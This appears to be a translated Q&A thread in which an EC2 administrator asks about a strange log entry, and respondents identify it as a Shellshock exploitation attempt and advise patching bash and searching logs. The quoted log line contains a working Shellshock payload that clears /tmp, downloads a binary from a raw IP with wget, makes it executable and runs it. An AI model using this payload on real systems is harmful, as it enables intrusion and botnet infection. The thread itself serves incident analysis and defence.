Попытка взлома Amazon EC2 (использование wget для загрузки файла на сервер)

Я просматривал свои журналы и заметил очень странную строку.

[Пт, 26 июня, 21:21:36.420706 2015] [: ошибка] [pid 21172] [клиент 58.213.123.107:56538] Целевой скрипт WSGI не найден или не может получить статистику: /opt/python/current/app/application.py, реферер: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://202.103.243.104:911/sudp -O /tmp/China.Z-foxr >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-foxr >> /tmp/Run.sh;echo /tmp/China.Z-foxr >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp /Выполнить.sh;/tmp/Выполнить.sh"

Похоже, кто-то смог загрузить файл, изменить его на 777, запустить и удалить все это из папки /tmp/.

Я очень запутался, так как для подключения к экземпляру ec2 по SSH требуется файл авторизации от Amazon, и я сомневаюсь, что они получили доступ к этому файлу.

Есть ли другой способ, которым они могли бы получить доступ? Могут ли быть некоторые настройки разрешений, которые неверны для моего экземпляра?


amazon-web-services amazon-ec2 security cracking
person Marcus Lind    schedule 27.06.2015    source источник
comment
сначала взгляните на это: slideshare.net/hendrikvb/chinaz-analysis взлом   -  person BMW    schedule 27.06.2015
comment
Нет, кто-то пытался запустить скрипт, внедрив его в заголовок HTTP Referer. Они не увенчались успехом.   -  person    schedule 27.06.2015

Ответы (1)


arrow_upward
0
arrow_downward

Это попытка использовать уязвимость shellshock. Судя по коду ошибки, кажется, что он не выполнился, однако я подозреваю, что вы можете найти другие случаи в своих журналах.

Первый шаг — определить, есть ли на вашем сервере уязвимая версия bash. Если версия bash исправлена, шансов на успех этих попыток нет. Однако, если вы используете уязвимую версию, вы должны немедленно исправить ее, а затем начать просматривать свои журналы для записей shellshock. Использование grep для поиска '()' или '; }' — хорошее место для начала. Стоит отметить, что несколько эксплойтов shellshock не оставляют следов полезной нагрузки в логах.

person wireghoul    schedule 28.06.2015